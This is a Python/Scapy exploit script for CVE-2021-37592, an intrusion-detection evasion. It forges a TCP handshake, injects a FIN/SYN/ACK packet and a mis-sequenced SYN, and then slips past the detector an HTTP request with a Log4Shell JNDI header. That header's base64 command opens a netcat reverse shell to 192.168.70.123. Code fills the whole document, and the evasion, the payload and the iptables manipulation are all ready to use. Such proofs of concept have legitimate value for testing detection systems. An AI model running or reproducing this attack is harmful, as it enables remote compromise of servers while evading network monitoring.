#!/usr/bin/python3
import sys
import random
import subprocess
from scapy.all import *


# Call
# sudo python3 <src-ip> <dst-ip> <dst-port>

"""
This script needs to be run as root because it blocks TCP kernel RST to communicate.
"""

if __name__ == "__main__":
    # vars
    src = sys.argv[1]
    dst = sys.argv[2]
    sport = random.randint(1024, 65535)
    dport = int(sys.argv[3])
    encoding = 'utf-8'

    # Ugly hardcoded payload to send that the NIDS know how to detect.
    encoded_dst = f"{dst}".encode(encoding)
    encoded_dport = f"{dport}".encode(encoding)
    payload = b"GET / HTTP/1.1"
    payload += b"\r\nHost: %b:%b" % (encoded_dst, encoded_dport)
    payload += b"\r\nX-Api-Version: ${jndi:ldap://192.168.70.123:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTkyLjE2OC43MC4xMjMgMTIzNCA%2BL3RtcC9m}"
    payload += b"\r\n\r\n"

    try:
        # Block kernel packets from our Linux TCP/IP stack
        # Otherwise the communication will be ended by our system TCP stack.
        subprocess.call(
            f"iptables -A OUTPUT -p tcp --dport {dport} --sport {sport} -m owner&nbsp;! --uid-owner 0 -j DROP",
            shell=True
        )

        """
        Basic communication initialization.
        """
        # TCP 3WH
        ip = IP(src=src, dst=dst)
        SYN = TCP(sport=sport, dport=dport, flags='S', seq=1000)
        SYNACK = sr1(ip/SYN)
        ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)
        send(ip/ACK)

        """
        This is where the injection for CVE-2021-37592 is done.
        """
        # Injecting FIN, SYN, ACK
        FSA = TCP(sport=sport, dport=dport, flags='FSA', seq=SYNACK.ack, ack=SYNACK.seq+1)
        send(ip/FSA)
        # Injecting new SYN with wrong sequence number
        whatever = SYNACK.seq+1234
        SYN = TCP(sport=sport, dport=dport, flags='S', seq=whatever)
        send(ip/SYN)  # We shouldn't get answer here if evasion is applicable.

        """
        Sending the payload without being detected if NIDS is vulnerable.
        """
        req = TCP(sport=sport, dport=dport, seq=SYNACK.ack, ack=SYNACK.seq+1, flags="PA") / payload
        sr1(ip/req)
    finally:
        # Remove this rule to avoid the mess
        subprocess.call(
            f"iptables -D OUTPUT -p tcp --dport {dport} --sport {sport} -m owner&nbsp;! --uid-owner 0 -j DROP",
            shell=True
        )